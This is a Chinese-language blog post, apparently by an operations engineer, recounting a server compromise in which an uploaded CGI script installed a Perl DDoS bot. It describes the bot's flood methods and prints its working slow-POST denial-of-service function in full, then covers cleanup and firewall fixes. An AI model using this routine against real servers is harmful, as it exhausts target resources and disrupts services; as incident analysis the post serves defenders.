上个月数据中心的多台服务器接连被人挂马,又有客户的网站被DDOS,公司的运维整个都处于一种被打了鸡血的亢奋状态,连我手上的项目都被部门老大停了,调去帮运维。第一次见到Linux 下面的木马,突然想起来,还是值得记录一下。
分析日志发现Attacker 应该是通过某种途径获得了客户的后台密码,然后利用控制面板的漏洞,上传了压缩包里的falabiya.cgi 并运行。这样会生成.X11-unix 文件(其实就是falabiya 那一段base64_decode),.X11-unix即具体的后门程序。
信安专业的Felix021 和芒果师兄都对这个案例表示出了兴趣,于是我分别和他们分析了一下。这是一段perl 脚本,写得十分精妙。具体功能就是拿我们的服务器做肉鸡,监听端口获取指令,向指定地址发送数据,从而实行DDOS 攻击。代码内置了几乎所有浏览器的UA 字符串,每次都随机抽取其中一个,伪装为正常访问。genGarbage、tcp flood、udp flood、slow get/post 等各种DDOS 方式均有实现,特别是sendSlowPostRequest 这个方法,实在太贱了,一点点地发,对方必须hold 住资源等你发完。。短短数百行代码,却对各种错误异常处理得十分仔细,必然出自高人之手。注释里有些不能识别的字符,也不知道是什么编码,无法推断是哪个国家的黑客写的。。
sub sendSlowPostRequest {
my $host = $_[0];
my $port = $_[1];
my $path = $_[2];
my $contentLen = $_[3];
my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|=-~`1234567890";
print "startn";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
#send header
send (SOCK, "POST ".$path." HTTP/1.1rn", 0);
send (SOCK, "Host: $hostrn", 0);
send (SOCK, "User-Agent: $uarn", 0);
send (SOCK, "Content-type: application/x-www-form-urlencodedrn", 0);
send (SOCK, "Content-length: $contentLenrn", 0);
send (SOCK, "rn", 0);
#send body
for my $i (1..$contentLen){
my $symbol = substr $chars, int rand length($chars), 1;
print "$symbol ";
send (SOCK, $symbol, 0);
sleep 3;
}
send (SOCK, "rn", 0);
close(SOCK);
print "endn";
}
后来我们清理掉了所有木马,限制脚本运行,配置防火墙阻止向外发送异常数据。至于我们自己被DDOS 攻击,也是配防火墙搞定,那几台设备好几百万,还是相当给力的。因为来自中国的攻击很多,Boss 一直对内地黑客十分“敬仰”,要我介绍几个给他认识。。其实我是了解国内那些所谓的“黑客”的,不得已只好把也是武大信安毕业后来去中科院的LC 拉来……后来Boss 还跑去北京找绿盟谈过合作,据说他家要上市了。
|